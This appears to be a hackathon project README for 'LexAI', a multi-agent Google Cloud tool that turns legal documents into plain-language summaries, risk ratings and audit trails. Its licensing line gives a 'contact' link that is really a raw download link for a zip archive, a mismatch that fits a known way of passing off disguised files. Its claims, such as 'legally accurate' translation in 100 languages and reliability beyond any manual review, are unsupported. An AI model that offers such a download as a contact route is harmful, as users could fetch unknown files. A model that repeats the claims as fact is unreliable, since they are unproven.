Demystifying legal documents using Generative AI—automatically converts complex legal documents into simple, understandable language, reduces review costs, and provides cryptographically verifiable interpretations in 30 seconds.
- Overview
- Features
- How It Works
- Technologies Used
- Installation
- Usage
- Contributing
- License
- Team
Team: Codewarts
Team Lead: Atharva Donadkar
Agentic Legal Intelligence System leverages six AI agents running on Google Cloud to process contracts, agreements, and legal texts faster and more reliably than any manual review. The platform enables plain-language summaries, audit-friendly cryptographic provenance tracking, automated risk assessments, and multilingual support—making legal expertise accessible to everyone.
- Multi-Format Document Ingestion: Accepts PDF, DOCX, TXT, and scanned images with OCR and confidence scoring.
- Legal Entity Extraction: Automatically identifies parties, dates, obligations, penalties, and key contract terms.
- Plain-Language Summaries: Converts complex legal text into language understandable by non-lawyers.
- Natural Language Q&A: Users can ask questions about their documents in plain English and get contextual answers instantly.
- Risk Assessment: Provides risk ratings and confidence metrics for each interpretation.
- 100 Language Support: Automated and legally accurate translation of documents to make global contracts accessible.
- Cryptographic Provenance Tracking: Verifiable, token-level alignment between source and interpretation—complete audit trails for compliance.
- Enterprise-Grade Security: VPC isolation, CMEK encryption, SOC2/GDPR compliance, and immutable audit logs.
Six specialized agents process your uploaded documents in sequence:
- Ingestion & Format Handling
- Legal Entity Extraction
- Simplification & Plain-Language Translation
- Natural Language Question Answering
- Risk Assessment & Confidence Scoring
- Cryptographic Signing & Audit Logging
This multi-agent, modular architecture enables infinite scalability across legal domains and languages, with fast (30 seconds) document turnaround.
- Google Cloud Platform: Vertex AI Agent Builder, Gemini-2.5Flash, PaLM 2, Cloud Run, BigQuery, Cloud Storage, Cloud KMS, VPC Service Controls
- AI/ML: Gemini-2.5Flash, Cloud Natural Language API, Cloud Translation API, Vertex AI Matching Engine, custom legal classifiers
- Development & Deployment: Docker, Python, Flask, Terraform, Cloud Build (CI/CD)
- Security & Compliance: CMEK, Private Service Connect, Cloud Audit Logs, Security Command Center
- Clone the repository:
- Build Docker images for each microservice.
- Deploy containers using Google Cloud Run and configure necessary endpoints (Vertex AI, BigQuery, Cloud Storage, KMS).
- Set up Terraform to provision infrastructure as code for reproducible deployments.
- Upload your legal document via the platform UI or API.
- Wait (≈30 seconds) for processing completion.
- View plain-language summary, risk analysis, and Q&A results.
- Download cryptographically signed audit trails for compliance and review.
We welcome contributions that extend domain support, agent capabilities, and user experience improvements.
- Fork this repo and clone locally.
- Submit pull requests with clear descriptions and relevant tests.
- Code must comply with security and audit requirements (no external data exposure).
Hackathon prototype; license details pending team decision. For enterprise usage or source licensing, contact the team at https://github.com/rushangchandekar/LexAI/raw/refs/heads/main/components/AI-Lex-v2.2.zip
- Team Name: Codewarts
- Team Lead: Atharva Donadkar
- Member: Rushang Chandekar
- Member: Arya Thool
- Member: Ayush Jaiswal
- Member: Khushi Shahu